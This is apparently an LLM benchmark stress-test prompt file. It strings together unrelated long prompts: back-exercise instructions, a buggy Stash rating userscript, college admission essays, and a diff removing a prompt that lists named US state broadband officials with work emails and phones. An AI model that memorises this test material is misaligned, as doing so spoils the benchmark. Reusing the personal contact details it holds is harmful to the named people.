movements hurt, take a step back to the last thing you could do without pain (marching in place, for instance). Stay with that for a few more days and then try to progress again. In theory, if you can march in place without pain, you can walk without pain and move without pain. It’s just a matter of building up your core, turning on the right muscles, and learning to use those muscles to move in the right way. Whenever you have difficulty, go back to the previous step and start again. \nOkay, you’ve done marching in place without moving your lower spine. Once that feels relatively simple, try doing this while walking. Things become a little murkier here because there are many factors at play. Because you are now weight-bearing, you need the support of important muscle groups like the glutes and latissimus dorsi (lats) to support your spine, in addition to the muscles we talked about in the core. If you can’t do this at first without pain, follow the advice in the book for a while, and it will come once you have developed enough strength to support your spine while standing. \nWalking with Neutral Spine \nLearning to walk with a neutral spine means applying the same mechanics of your Slow March with Neutral Spine exercise to an upright, weight-bearing position. Almost everyone can improve their ability to walk without pain if they can do the slow march exercise on the ground. The distance you can walk without pain, or without significant increases in pain, will increase as you build core and gluteal strength and endurance by doing the exercises in this book. To get started on increasing your ability to walk with decreased pain, follow these directions:\nStep 1: Stand with good posture. Stand tall, shoulders back, head over your shoulders. Think of sticking your chest out and pulling your shoulder blades down and back. Make sure you aren’t leaning forward. Tilt your pelvis back and forth (just like you did on the floor earlier), and stop where your lower back feels the most comfortable. \nStep 2: Use your core to lock your neutral spine in place. \nStep 3: Now try to walk while maintaining the position of your lower back and with the good posture you just set. It can help to put one hand on your stomach and one on your low back to feel for movement. Once you feel like you’ve mastered maintaining neutral spine while walking, start to swing your arms from the shoulders, arm to opposite leg. This means if your right leg is swinging forward, your left arm should be as well. Make sure to always swing your arms from the shoulders as you walk; this helps dissipate force away from the spine. This movement takes time to master so don’t get frustrated. Keep practicing. It gets easier after you have built endurance and strength in the muscles that support the spine. \nStep 4: If you sense your back is about to hurt, stop and have a seat for a few minutes and give your back a break. Then try walking a little longer. Over time, the period between these sitting breaks should increase, allowing you to walk farther without pain.\nNow let’s move on to more complex movements. To make it easier (and to improve your chances of success) we are going to break those more complex movements down into pieces and then put them all together at the end. We will start with movement from the hips, a very basic move in all our lives all the time. Let’s start with hip-hinging. Hip-hinging is a way to bend forward without stressing (i.e., bending) the spine. Done right, the axis of movement is in the hips, not the low back. Your low back should be in a protected neutral position with the core engaged. As you bend forward, your low back doesn’t round or move. Let’s look at a picture of hip-hinging and a picture of lumbar flexion (low back bending); one is good, the other is bad. This is simple stuff, but it is very hard to get over your ancient, bad habits. Hard but essential. \n\nHip-Hinge with Neutral Spine\nHere are a couple of pictures showing you the right way to hinge (on the left) and the wrong way (on the right). Notice the very slightly curved lower back in the hip-hinge picture on the left: no movement. Excellent! The pic on the right has quite a lot of spine movement; don’t do that. When you first try this movement, it may feel awkward, and you may assume that you cannot reach as far forward with good posture. Not so. You’ll soon realize that you can move just as far forward, using only your hips, as you did before, using your back. You don’t lose anything and you avoid a ton of pain. Over time you will gain mobility. The reason is that moving with your lower back eventually causes pain and stiffness in your back. But moving from your hips will not have that result. Let’s practice doing it right. \nRight Wrong\n\nStep 1: Stand with feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Feel the two bones sticking out of the sides of your hips. These are called your greater trochanters. Picture a pole going through these two points, passing right through your pelvis. This is your imaginary axis of movement.\nStep 5: Now place one hand on your stomach and the other on your back. On your back, put your fingers on those little bones sticking out (spinous processes). You are putting your hands here to feel for any unwanted movement when you hip-hinge. \nStep 6: Without moving anything in the core (you shouldn’t feel those little bones in your back moving), slowly bend forward on that imaginary axis of movement through the hip bones while sticking your buttocks out behind you a little bit. If you feel your stomach or back move, stop, reset, and try again.\n\nStep 7: Go only as far forward as you can without moving your back. For many of you, your hamstrings (back of legs) are going to be a limiting factor in your range of motion in the beginning. Don’t worry if you can’t go too far. Your hamstrings will loosen up in time if you follow all of the advice in this book. \nStep 8: Slowly return to the starting position without moving your back or stomach. \nStep 9: This should not hurt your low back. If it does, reset your stance, find neutral spine, brace your core. Not hurting? Now try it again with a very small range of motion. Stay within the range of motion that doesn’t hurt. Slowly increase your range of motion over time—it will come. \nAdding Rotation\nNow let’s get a little more complex. Let’s add rotation to the bend. Hip-hinging correctly allows you to move forward and backward without pain. Now let’s learn to move side to side. We are talking rotation. Again, think about moving from the hips. It’s easiest to visualize proper rotation if you think about your waist. We don’t want any movement at the waist. Try to picture your rib cage being locked on to your pelvis. That’s what you want. Pretend that there are no joints between your ribs and pelvis, for this one. \nFull-Body Rotation\nThe chest, navel, and hips all move together. This means there is no (or very little) movement in the spine. The body rotates by moving the hips, knees, and pelvis. If the hips and pelvis stay facing forward while the rib cage moves, the movement comes from the waist, and therefore the lumbar spine. This type of movement can wear down the discs and joints in the spine over time, especially when additional load is applied (like unloading the dishwasher for instance). Just like hip-hinging, rotation done properly doesn’t cause you to lose mobility and will improve athletic performance. Let’s give it a try. Once again, the new movement is not that hard. But you are trying to unlearn a lifetime of moving with your spine. That is hard. \n\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Place your hands on the top of your pelvis with your fingers pointed forward. This hand position is to help you visualize movement of the pelvis as you get used to this movement. \nStep 5: Keep the knees bent and loose but the core engaged, and try to turn a little to the right by shifting the knees and hips. Your fingers, navel, hip bones, chest bone, and face should all point the same direction. It’s okay if you pivot the feet a little bit. \n\nStep 6: Now try to the left.\nStep 7: Slowly increase your range of motion by bending more at the knees. \nStep 8: Then increase your range of motion even more by pivoting your feet. \nStep 9: At all times and especially at the end of the movement, your chest bone, head, navel, and hips should be in alignment. \nTROUBLESHOOTING\nKnee pain: Stay lighter on your feet\\ and pivot the ball of the inside foot (the side you are moving away from) as you rotate. \nTorso Rotation with Hip-Hinge and Squat\nNow let’s try to put those two movements—the hip-hinge and the rotation—together with a squat for a realistic, three-dimensional movement that allows you to accomplish everyday tasks (think unloading the dishwasher, putting up groceries) without stressing your back. You are going to rotate and bend down (hip-hinge), then come back up to the other side and extend. \nNotice that within that entire chain of movement, the person in the drawing does not really move his spine (look at the waist if you’re having trouble visualizing that). The rib cage remains locked onto the pelvis the entire time. These pictures show you that you can go almost 180 degrees from side to side, stooping as low as you can and then extending as high as your hands can go, without compromising your back. Let’s try it.\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Find neutral spine and engage your core to lock it in. \nStep 3: Stand with good posture. \nStep 4: Rotate torso to the right without twisting the waist as before.' +'in my script, when I click on the rating stars to update it updates, but then on the next run clicking on the same star is supposed to change titles and classes to Unset and on click set the rating to null. But it isn\'t happening. const {\n stash,\n Stash,\n waitForElementId,\n waitForElementClass,\n waitForElementByXpath,\n getElementByXpath,\n getClosestAncestor,\n updateTextInput,\n } = unsafeWindow.stash;\n\n async function querySceneRating(sceneId) {\n const gqlQuery = {\n \'query\': `query {\n findScene(id: ${sceneId}){\n rating\n }\n }`\n };\n var rating = await stash.callGQL(gqlQuery);\n if (!rating.data.findScene) {\n // handle the error here\n console.log("Error with querySceneRating GraphQL: " + rating);\n }\n return rating\n }\n function updateElements(rating) {\n let sceneId = updateSceneId();\n console.log("updateElements: sceneId: " + sceneId + ": passed rating: " + rating);\n\n // code to update the elements here\n waitForElementId("video-stars", async function(IdName, el) {\n currentRating = rating;\n console.log("updateElements: currentRating: " + currentRating)\n const customdivElements = document.getElementById(\'video-stars\')\n const ratingButtons = customdivElements.querySelectorAll(\'.rating-stars button\');\n // Set Classes & Titles inital values\n if (currentRating == null) {\n console.log("updateElements - currentRating == null: ");\n updateTitles(0);\n updateClasses(0);\n } else {\n console.log("updateElements - rating != null - rating: ");\n\n updateTitles(currentRating);\n updateClasses(currentRating);\n }\n\n })\n return\n }\n\n async function updateSceneRating(sceneId, rating) {\n console.log("Updating Rating: Passed Rating: " + rating)\n console.log("updateSceneRating rating " + rating)\n const reqData = {\n "operationName": "sceneUpdate",\n "variables": {\n "input": {\n "id": sceneId,\n "rating100": rating \\* 20\n }\n },\n "query": `mutation sceneUpdate($input: SceneUpdateInput!){\n sceneUpdate(input: $input){\n id\n rating100\n }\n }`\n }\n const response = await stash.callGQL(reqData);\n currentRating = rating;\n // setTimeout(function() {\n updateElements(currentRating);\n // }, 2000)\n }\n\n function updateSceneId() {\n const currentUrl = window.location.href.split(\'?\')[0];\n const sceneId = currentUrl.substring(currentUrl.lastIndexOf(\'/\') + 1);\n console.log("updateSceneId" + sceneId);\n return sceneId\n }\n\n function updateTitles(num) {\n console.log("update\\_titles: passed title: " + num)\n const customdivstitle = document.getElementById(\'video-stars\')\n const ratingButtons = customdivstitle.querySelectorAll(\'.rating-stars button\');\n ratingButtons.forEach(btn => {\n btn.title = num;\n });\n }\n\n function updateClasses(num) {\n console.log("update\\_classes: passed class: " + num)\n\n const customdivclasses = document.getElementById(\'video-stars\')\n const ratingButtons = customdivclasses.querySelectorAll(\'.rating-stars button\');\n ratingButtons.forEach((btn, i) => {\n if (i < num) {\n btn.classList.remove(\'star-fill-0\');\n btn.classList.add(\'star-fill-100\');\n } else {\n btn.classList.add(\'star-fill-0\');\n btn.classList.remove(\'star-fill-100\');\n }\n });\n }\n\n stash.addEventListener("page:scene", async function() {\n let sceneId = updateSceneId();\n // let rating = (await querySceneRating(sceneId)).data.findScene.rating;\n if (!document.getElementById(\'video-stars\')) {\n\n await waitForElementClass("rating-stars", async function (className, el) {\n\n const e = document.querySelector(\'.rating-stars\')\n // const e = document.getElementsByClassName(\'.rating-stars\')[1]\n\n console.log(e);\n\n const node = e.cloneNode(true);\n\n const control = document.querySelector(\'.vjs-control-bar\');\n node.setAttribute(\'id\', \'video-stars\');\n // ratingStarsNode.innerHTML = ratingstars;\n control.appendChild(node);\n control.insertBefore(node, control.childNodes[9]);\n await waitForElementByXpath("//div[contains(@class, \'VideoPlayer\')]", function(xpath, el) {\n\n console.log("Hello3");\n\n\n\n // const n = document.getElementsByClassName(\'rating-stars\')[1];\n\n const customdiv = document.getElementById(\'video-stars\');\n\n console.log("customdiv: " + customdiv)\n const nodeButtons = customdiv.querySelectorAll(\'button\')\n\nif(typeof nodeButtons === \'object\' && nodeButtons.length > 0 ){\n for(let i = 0; i < nodeButtons.length; i++){\n if (nodeButtons[i] && nodeButtons[i].hasAttribute("disabled")) {\n console.log("True")\n nodeButtons[i].removeAttribute("disabled");\n }\n }\n}\n\nif(typeof nodeButtons === \'object\' && nodeButtons.length > 0 ){\n for(let i = 0; i < nodeButtons.length; i++){\n nodeButtons[i].classList.add(\'btn-rating-node\')\n }\n}\n\n // Get current set rating or if on first pass get rating from HTMl\n var rating = currentRating || customdiv.querySelector(\'button\').title \\* 20;\n console.log("xpath rating: " + rating);\n\n const ratingButtons = customdiv.querySelectorAll(\'button\');\n const unfilledstar = customdiv.querySelectorAll(\'.unfilled-star div\');\n // const sceneid = updateSceneId();\n currentRating = Math.floor(rating / 20);\n\n ratingButtons.forEach((btn, index) => {\n index += 1\n btn.addEventListener(\'mouseover\', event => {\n if (index === currentRating) {\n ratingButtons.forEach(button => {\n console.log(\'mouseover (index===currentRating) : index: \' + index + " : currentRating : " + currentRating)\n updateTitles("Unset");\n })\n }\n else if (currentRating !== "0" && currentRating !== index) {\n console.log(\'mouseover-currentRating !== "0" && currentRating !== index - \' + "index: " + index + " rating: " + rating + "currentRating: " + currentRating);\n\n updateTitles(index);\n updateClasses(index);\n }\n });\n btn.addEventListener(\'mouseout\', event => {\n if (currentRating !== "0" && currentRating !== btn.title) {\n console.log(\'mouseout (currentRating !== "0" && currentRating !== btn.title) : currentrating: \' + currentRating + " : btn.title: " + btn.title)\n\n if (rating !== "0") {\n updateTitles(currentRating);\n updateClasses(currentRating);\n console.log(\'mouseout: rating: \' + rating + " currentRating: " + currentRating);\n }\n }});\n\n btn.addEventListener(\'click\', event => {\n if (btn.title !== "Unset") {\n console.log(\'click: (btn.title !== "Unset"): btn.title : \' + btn.title);\n updateSceneRating(sceneId, btn.title);\n } else {\n console.log(\'click btn: (btn.title !== "Unset") else : btn.title : \' + btn.title);\n updateTitles("0");\n updateClasses(0);\n updateSceneRating(sceneId, null);\n }\n });\n });\n unfilledstar.forEach((div, index) => {\n index += 1\n unfilledstar.addEventListener(\'click\', event => {\n if (ratingButtons.title == "Unset") {\n console.log(\'click : unfilledstar : (ratingButtons.title == "Unset"): ratingButtons.title: \' + ratingButtons.title + \' : updateTitles & classes & rating = 0\');\n updateTitles("0");\n updateClasses(0);\n updateSceneRating(sceneId, null);\n } else {\n console.log(\'click : unfilledstar : (ratingButtons.title == "Unset") else : ratingButtons.title: \' + ratingButtons.title + \' : event.target.title : \' + event.target.title + \' updateTitles & classes & rating = event.target.title\');\n\n updateTitles(event.target.title);\n updateClasses(event.target.title);\n updateSceneRating(sceneId, event.target.title);\n\n }\n });\n });\n\n document.addEventListener("DOMContentLoaded", () => {\n console.log("Loaded")\n const observer = new MutationObserver(mutations => {\n mutations.forEach(mutation => {\n Array.from(mutation.addedNodes).forEach(addedNode => {\n if (addedNode.matches && addedNode.matches(\'.fade.toast.success.show\')) {\n setTimeout(function() {\n updateElements();\n }, 2000);\n\n }\n });\n });\n });\n observer.observe(document.body, {\n childList: true,\n subtree: true\n });\n\n });\n })\n});\n }\n })\n})();' +'Given these four college admission prompts and essays John Doe wrote, write a compelling 650-word narrative about how John will use his diverse experiences, community-building skills, and passion for solving problems to be a great computer science student in the University. This narrative should be written in first-person POV and use the takeaways from great personal statements above. \n\nPrompt: Please describe how you have prepared for your intended major, including your readiness to succeed in your upper-division courses once you enroll at the university.\n\nEssay: I’ve demonstrated readiness to succeed in upper-division computer science courses with both classroom and real-world experience. I took AP Computer Science & 6 courses in community college, and will complete 3 more before transferring. I gained mobile development experience through my internship, learned several frameworks through extra-curricular projects, and participated in 4 hackathons. This November, my team became a finalist for the Google Health Case Competition working on improving patient adherence to tailored nursing care-plans.\n\nAs an aspiring programmer, I looked to community college courses to build on my foundation from AP Computer Science. These courses explored the depths and complexity of CS. In Data Science (CIS-9), we used NumPy and Pandas (Python libraries) with a touch of machine learning to perform data analysis. In Assembly (CIS-21JA), we translated common Python functions to assembly instructions to understand how code executes on the CPU. These rigorous courses required constant engagement in novel areas and vastly improved the breadth and strength of my CS foundation.\n\nIn my internship I looked forward to being a productive software engineer, and also understanding how a team turns an idea into a polished product. To prepare, I built SuppStack, a website for users to share their nutritional supplements. I learned about the core components of a website: backend (NodeJS & Express), frontend (ReactJS & Tailwind), and database (MySQL). In my internship, I learned programmatic collaboration skills through Git (version control software), worked with PM & Design, and structured effective timelines. As the lead intern, I implemented user-authentication, led migration to Expo Go (a platform that allows us to deploy code instantly), and mentored other interns by supervising & advising them through their projects. I collaborated effectively and learned the development structure of polished apps. \n\nThrough my courses, projects, and internship, I’ve developed my foundation and discipline to tackle complex topics in upper-division courses. I know computer science skills are a tool to solve problems beyond the screen– like issues in healthcare we began exploring in our Google Health Case Competition. I’m eager to build these skills as I progress through UC.\n\n-----\n\nPrompt: What have you done to make your school or your community a better place?\nEssay: I’ve spent over 150 hours in 2 years volunteering for 7 Cups, a counseling organization. I connected with teens as a listener to support them through mental illnesses. Concurrently, I learned more about mental illnesses and three psychotherapies through two community college classes, piles of books, and discussions with professionals. Finally, I mentored other volunteers– and taught them how to mentor, expanding impact. \nEarly on, I connected with a teen named Kinga (altered for confidentiality). We talked to combat her alcoholism, supplementing her sessions with her therapist. Inspired by her, and to improve my listening, I read resources including The Molecule of More, Motivational Enhancement Therapy Manual, The Big Book of AA. I also took classes at community colleges, PSYC1 - General Psychology and PSYC4 - Abnormal Psychology, to better understand psychotherapies. After a year working together, Kinga texted me: “I think [connecting with] you allowed me to stop thinking that every human being is evil with bad intentions, and I’ve been able to surround myself with great people.” She’s over a year sober, picking up pastel art and ballet again, and drastically improving her relationships with family and friends.\nA third of the time I listened to teens, they expressed dissatisfaction with previous listeners. As one of the more experienced volunteers, I took on improving listener training. Growing through leadership roles, I became a listener coach. I personally mentored 12 listeners for over half a year to improve their listening and knowledge of different illnesses. I also taught them how to mentor, reaching over 50 other volunteers. Finally, I spearheaded discussions on adapting psychotherapy techniques to issues, ex. CBT for exercise motivation, that taught over 70 more listeners.\nMy community-building ability fostered strong long-term relationships with 11 teens, like Kinga, to help them manage mental illnesses. I also helped over 40 others with short-term problems. I’m eager to continue fostering strong relationships using my community building skills. UC schools offer many opportunities to deepen these skills and connect through community service. Community strengthening with UC students through clubs like UCLA’s DevX and Berkeley’s BluePrint would be fantastic.\n\n-----\n\nPrompt: What would you say is your greatest talent or skill? How have you developed and demonstrated that talent over time?\nEssay: My greatest skill is turning curiosity into passion. I first did this with 6 years in Chess; I became an expert level player and consistently ranked in the US top 70 for my age. Along the way, I was a three-time state champion and finalist, won an international tournament, and won over $10,000. As a wrestler, I also quickly advanced to varsity-level, despite being new to wrestling with no athletic background.\n\nIn chess, I spent almost every moment I could preparing to compete. On a school-day, I woke up at 6:30 and practiced tactics/calculation for an hour. After school, I went to our living room computer to play the daily online blitz tournament. After finishing my homework, I was back to studying books like Dvoretsky’s Endgame Manual and Jacob Aagaard’s series on middlegames. Even if I wasn’t motivated one day, I always showed up. \n\nFor wrestling, I initially focused on technical knowledge about the sport and athletic performance. I consumed books and recorded matches, filled scrap pages with notes and even asked my coach so many questions that he limited me to three per practice. Outside of practice, I trained and cooked based on research about maximizing athletic performance. Training in chess first taught me to explore the details that go into mastery.\n\nMy first match of my senior season (second-year) was against a 4 star recruit. Like chess, I started to get caught up in a flow state. I saw my opponent kept too much weight on his lead leg and had a very narrow stance. I dominated the first two periods as I used this information to score takedowns with ankle picks and a blast double. All my decisions started to become coldly calculated based on precision. Wrestling, much like Chess, was now a science of the small details.\n\nJust like I immersed myself in Chess and Wrestling, I do the same in my academic pursuits. I start by breaking them down to sub-problems, learn from more-experienced individuals, and practice solving multiple variations. I really enjoy turning curiosity into passion.\n\n-----\n\nPrompt: Describe an example of your leadership experience in which you have positively influenced others, helped resolve disputes, or contributed to group efforts over time.\nEssay: During senior year, I coached a group of ten elementary students (ages 7-9) in Chess. It was a self-motivated initiative. I launched it in response to neighborhood children who were excited to find out I won over $10,000 playing in chess tournaments. I led them from learning to move their first pieces to their first scholastic chess tournament. In the process, I learned to build relationships and create a dynamic learning environment. \nIn the beginning, classes were terrible. I’m a varsity athlete, a focused student, and try to face challenges head-on. But every week ten kids would come eager to learn, and I was terrified. I was a three-time state finalist, but accolades didn’t matter here. I struggled to structure classes and connect with students. I freestyled classes, finding kids quietly uninterested. My students Diya and Rohan often looked particularly blank.\nFrustrated, I contacted my first chess coach for advice. He talked about our strengths/weaknesses, interests outside of chess, and favorite moments with all of us; it was sweet… but seemingly useless. Only after discussing this conversation with a friend did I realize my coach was successful because of his bond with us.\nMoving forward, I made efforts to learn about my students and welcome natural relationships. I spent time one-on-one and in smaller groups during breaks and after classes. We played games like tag, Monopoly, and chess (but I was blindfolded!). Reticent students soon became expressive learners, sharing their explorations of constellations, cooking, the world of Harry Potter, and more. By connecting with the kids, I enabled an open inquisitive environment. Diya recounted her little brother’s antics and Rohan shared karate techniques. \nI compiled an array of Chess books and videos to create a curriculum. In the five months before their first tournament, my students learned tactical ideas as well as openings like the Scotch and Ruy Lopez. At the tournament, all had positive records. Three kids placed top 10 in the beginner division. They went from distracted individuals to motivated players. And my role transformed from disengaged instructor to connected mentor.' diff --git a/python/llm/dev/benchmark/all-in-one/prompt/stress_test_copy.txt b/python/llm/dev/benchmark/all-in-one/prompt/stress_test_copy.txt deleted file mode 100644 index 0b173742..00000000 --- a/python/llm/dev/benchmark/all-in-one/prompt/stress_test_copy.txt +++ /dev/null @@ -1,510 +0,0 @@ -"the following list contains the names, addresses, phone numbers, and email addresses for individuals. I want you to develop a list of just the email addresses. \nAlabama\nMaureen Neighbors, chief, Digital Expansion Division\nWebsite: https://adeca.alabama.gov/broadband/\nEmail: Maureen.Neighbors@adeca.alabama.gov\nPhone: (334) 353-0767\n\nAlaska\nThomas Lochner, director, Office of Broadband\nLisa Von Bargen, Seniot Project Manager, Commissioner's Office\nWebsite: https://www.commerce.alaska.gov/web/abo/Home.aspx\nEmail:lisa.vonbargen@alaska.gov\nPhone: (907) 660-7877\n\nArizona\nJeff Sobotka, state broadband director\nSandip Bhowmick, state assistant broadband director\nWebsite: https://www.azcommerce.com/broadband/\nEmail: JeffS@AZCommerce.com; sandipb@azcommerce.com\nPhone: (602) 542-3595\n\nArkansas\nGlen Howie, director, state broadband office\nWebsite: https://broadband.arkansas.gov/\nEmail:Glen.Howie@ArkansasEDC.com; broadband@arkansas.gov\nPhone: (501) 682-7306\n\nCalifornia\nScott Adams, deputy director, Broadband and Digital Literacy\nWebsite: https://broadbandcouncil.ca.gov/\nEmail: Scott.adams@state.ca.gov; CABroadbandCouncil@state.ca.gov\nPhone:(916) 661-2511\n\nColorado\nBrandy Reitter, executive director, Colorado Broadband Office\nWebsite: https://broadband.colorado.gov/\nEmail: Brandy.Reitter@state.co.us\nPhone: (303) 764-7700\n\nConnecticut\nKevin Pisacich, director, Office of Telecommunications and Broadband\nWebsite: https://portal.ct.gov/DEEP/Energy/Office-of-Telecommunications-and-Broadband\nEmail: Kevin.pisacich@ct.gov \nPhone: (860) 827-2638\n\nDelaware\nTammy Shelton, manager, Broadband Infrastructure Grant Program\nWebsite: https://broadband.delaware.gov/\nEmail: tammy.shelton@delaware.gov; Broadband@delaware.gov \nPhone: (302) 739-9701\n\nFlorida\nKatie Smith, director, Broadband Office\nWebsite: https://www.floridajobs.org/community-planning-and-development/broadband/office-of-broadband\nEmail: Katie.Smith@deo.myflorida.com \nPhone: (850) 717-8445\n\nGeorgia\nJosh Hildebrandt, director, Broadband Initiatives\nWebsite: https://gta.georgia.gov/broadband\nEmail: joshua.hildebrandt@gta.ga.gov \nPhone: (404) 313-3465\n\nHawaii\nBurt Lum, strategy officer, Hawaii Broadband Initiative\nWebsite: https://cca.hawaii.gov/broadband/\nEmail: Burt.q.lum@hawaii.gov; broadband@dcca.hawaii.gov\nPhone: (808) 587-9001\n\nIdaho\nRamón S. Hobdey-Sánchez, manager, Broadband Program\nWebsite: https://commerce.idaho.gov/broadband/\nEmail: Ramon.hobdeysanchez@commerce.idaho.gov; broadband@commerce.idaho.gov \nPhone: (833) 713-3272\n\nIllinois\nMatt Schmit, director, Office of Broadband\nWebsite: https://dceo.illinois.gov/connectillinois/ilofficeofbroadband.html\nEmail: Matt.schmit@illinois.gov; broadband@illinois.gov \nPhone: (312) 814-7167\n\nIndiana\nEarnie Holtrey, deputy director, Indiana Broadband Office\nWebsite: https://www.in.gov/indianabroadband/\nEmail: eholtrey@ocra.in.gov\nPhone: (317) 775-2660\n\nIowa\nMatt Behrens, CIO\nWebsite: https://ocio.iowa.gov/broadband\nEmail: matt.behrens@iowa.gov\nPhone: ((515) 725-0890\n\nKansas\nJade Piros de Carvalho, director, Office of Broadband Development\nWebsite: https://www.kansascommerce.gov/officeofbroadbanddevelopment/ \nEmail: jade.piros@ks.gov\nPhone: (785) 296-3481\n\nKentucky\nMeghan E. Sandfoss, executive director, Office of Broadband Development\nWebsite: https://broadband.ky.gov/Pages/index.aspx\nEmail: meghan.sandfoss@ky.gov \nPhone: (502) 330-8713\n\nLouisiana\nVeneeth Iyengar, executive director, ConnectLa\nWebsite: https://connect.la.gov/\nEmail: Veneeth.lyengar@la.gov; connect@la.gov \nPhone: (225) 219-7594\n\nMaine\nPeggy Schaffer, director, ConnectMaine Authority\nAndrew Butcher, president, Maine Connectivity Authority\nWebsite: https://www.maineconnectivity.org/\nEmail: Peggy.schaffer@maine.gov; abutcher@maineconnectivity.org \nPhone: (207) 624-9807\n\nMaryland\nKenrick M. Gordon, director, Office of Statewide Broadband\nWebsite: https://dhcd.maryland.gov/Broadband/Pages/default.aspx\nEmail: Kenrick.Gordon@Maryland.gov\nPhone:(301) 429-7436\n\nRELATED\nFinding the money: A US broadband funding guide\nMassachusetts\nMichael Baldino, director and general counsel, Massachusetts Broadband Institute\nWebsite: https://broadband.masstech.org/\nEmail: baldino@masstech.org; broadband@masstech.org \nPhone: (508) 870-0312 \n\nMichigan\nEric Frederick, chief connectivity officer, Michigan High-Speed Internet Office\nWebsite: https://www.michigan.gov/leo/bureaus-agencies/mihi\nEmail: Fredericke1@michigan.gov\nPhone:\n\nMinnesota\nBree Maki, director, Office of Broadband Development\nWebsite: https://mn.gov/deed/programs-services/broadband/\nEmail: bree.maki@state.mn.us\nPhone: (651) 259-7289\n\nMississippi\nSally Burchfield Doty, director, Broadband Expansion and Accessibility of Mississippi\nWebsite: https://www.beam.ms.gov/\nEmail: Sally.Doty@beam.ms.gov\nPhone: (601) 359-5029\n\nMissouri\nBJ Tanksley, director, Office of Broadband Development\nWebsite: https://ded.mo.gov/content/broadband-development\nEmail: bj.tanksley@ded.mo.gov \nPhone: (573) 522-6261\n\nMontana\nChad Rupe, Broadband Program Manager\nWebsite: https://connectmt.mt.gov/\nEmail: chad.rupe@mt.gov; ConnectMTInfoRequests@ctnet.us \nPhone:\n\nNebraska\nPatrick Redmond, interim director, Broadband Office\nWebsite:https://broadband.nebraska.gov/Home\nEmail:patrick.redmond@nebraska.gov\nPhone:(402) 471-4181\n\nNevada\nBrian Mitchell, director, Office of Science, Innovation and Technology and State Broadband Office\nWebsite: https://osit.nv.gov/Broadband/Broadband/\nEmail: blmitchell@gov.nv.gov \nPhone: (775) 687-0988\n\nNew Hampshire\nMark Laliberte, broadband project manager, Office of Broadband Initiatives\nWebsite: https://www.nheconomy.com/about-us/office-of-broadband-initiatives\nEmail: mark.j.laliberte@livefree.nh.gov; broadband@livefree.nh.gov\nPhone: (603) 271-6351\n\nNew Jersey\nJoseph Rivera, Manager of Broadband Access\nWebsite: https://www.nj.gov/it/\nEmail: joseph.rivera@bpu.nj.gov\nPhone: (609) 322-9625\n\nNew Mexico\nMatt Schmit, Governor's Broadband Advisor\nKelly Schlegel, director, Office of Broadband Access and Expansion\nWebsite: https://www.doit.nm.gov/programs/broadband/\nEmail: Matt.Schmit@state.nm.us; Kelly.Schlegel@state.nm.us \nPhone: (505) 479-1093 \n\nNew York\nRob Johnson, Project Manager, ConnectALL\nWebsite: https://broadband.ny.gov/\nEmail: robert.johnson@esd.ny.gov\nPhone:(212) 803-3201\n\nNorth Carolina\nNate Denny, Deputy Secretary for Broadband and Digital Equity\nAngie Bailey, director, Broadband Infrastructure Office\nWebsite: https://www.ncbroadband.gov/\nEmail: nate.denny@nc.gov; angie.bailey@nc.gov\nPhone: (919) 397-2124; (919) 754-6690\n\nNorth Dakota\nDuane Schell, CTO\nKevin Sievert, Program Director of Broadband Deployment\nWebsite: https://www.ndit.nd.gov/about-us/broadband\nEmail: dschell@nd.gov; broadband@nd.gov \nPhone: (701) 328-4360 \n\nOhio\nPeter Voderberg, chief, BroadbandOhio\nWebsite: https://broadband.ohio.gov/home\nEmail:peter.voderberg@development.ohio.gov; BroadbandOhio@development.ohio.gov \nPhone: (614) 387-2114 \n\nOklahoma\nKirk Martin, interim executive director, Broadband Office\nWebsite: https://oklahoma.gov/broadband.html\nEmail: kirk.martin@broadband.ok.gov; broadband@broadband.ok.gov \nPhone:(405) 431-9237\n\nOregon\nDaniel Holbrook, Broadband Manager\nWebsite: https://www.oregon.gov/biz/programs/oregon\\_broadband\\_office/pages/default.aspx\nEmail: daniel.l.holbrook@biz.oregon.gov \nPhone: 503-877-7006\n\nPennsylvania\nBrandon Carson, executive director, Broadband Development Authority\nWebsite: https://dced.pa.gov/programs-funding/broadband-in-pennsylvania/pennsylvania-broadband-development-authority/\nEmail:bwcarson@pa.gov\nPhone:\n\nRhode Island\nBrian Thorn, director, Broadband Strategy\nWebsite: https://commerceri.com/broadband/\nEmail: brian.thorn@commerceri.com \nPhone:(401) 278-9186 \n\nSouth Carolina\nJim Stritzinger, director, Broadband Office\nWebsite: https://ors.sc.gov/broadband/office\nEmail: JStritzinger@ors.sc.gov\nPhone: (803) 737-8025\n\nSouth Dakota\nMike Waldner, Project manager, Connect SD\nWebsite: https://sdgoed.com/partners/connectsd/\nEmail:Mike.waldner@state.sd.us\nPhone: (605) 773-2483\n\nTennessee\nTaylre Beaty, Broadband Program Director\nWebsite: https://www.tn.gov/ecd/rural-development/tnecd-broadband-initiative.html\nEmail: taylre.beaty@tn.gov \nPhone:(615) 906-1057\n\nTexas\nGreg Contre, director, Broadband Development Office\nWebsite: https://comptroller.texas.gov/programs/broadband/\nEmail: Gregory.conte@cpa.texas.gov; broadband@cpa.texas.gov \nPhone: (512) 463-7611\n\nUtah\nRebecca Dilg, Broadband Director\nWebsite: https://business.utah.gov/broadband/\nEmail: rdilg@utah.gov\nPhone: (801) 538-8681\n\nVermont\nChristine Hallquist, executive director, Vermont Community Broadband Board\nWebsite: https://publicservice.vermont.gov/vt-community-broadband-board-vcbb\nEmail: christine.hallquist@vermont.gov\nPhone: (802) 636-7853\n\nVirginia\nTamarah Holmes, director, Office of Broadband\nWebsite: https://www.dhcd.virginia.gov/broadband\nEmail: tamarah.holmes@dhcd.virginia.gov \nPhone: (804) 371-7056\n\nWashington\nMark Vasconi, director, Broadband Office\nWebsite: www.broadband.wa.gov\nEmail: mark.vasconi@commerce.wa.gov\nPhone: (360) 918-1241\n\nWest Virginia\nKelly Workman, director, Office of Broadband\nWebsite: https://broadband.wv.gov/\nEmail:Kelly.A.Workman@wv.gov; WVBroadbandCouncil@wv.gov \nPhone: (304) 352-4115\n\nWisconsin\nAlyssa Kenney, director of broadband and digital equity, Wisconsin Public Service Commission\nWebsite: https://psc.wi.gov/Pages/ServiceType/Broadband.aspx\nEmail: Alyssa.kenney@wisconsin.gov; PSCStatebroadbandoffice@wisconsin.gov \nPhone: (608) 